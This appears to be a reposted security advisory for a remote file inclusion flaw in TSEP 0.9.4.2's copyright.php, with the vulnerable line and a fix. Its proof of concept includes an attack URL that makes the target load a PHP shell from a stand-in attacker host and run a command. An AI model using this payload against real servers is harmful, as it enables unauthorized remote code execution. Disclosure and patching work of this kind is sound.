TSEP <= 0.942 (copyright.php) Remote Inclusion Vulnerability

============================================================
TSEP <= 0.942 (copyright.php) Remote Inclusion Vulnerability
============================================================



+--------------------------------------------------------------------
+
+ TSEP 0.9.4.2
+
+--------------------------------------------------------------------
+
+ Affected Software .: TSEP 0.9.4.2
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+
+--------------------------------------------------------------------
+
+ Code /include/copyright.php:
+
+ .....
+ <?php require ( $tsep_config["absPath"]."/include/tsepversion.txt" ); ?>
+ .....
+
+--------------------------------------------------------------------
+
+ $tsep_config["absPath"] is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in copyright.php
+
+--------------------------------------------------------------------
+
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/include/tsepversion.txt
+
+ http://[target]/include/copyright.php?tsep_config[absPath]=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales (5 YEARS :P)
+
+-------------------------[ E O F ]----------------------------------




#  0day.today [2018-01-01]  #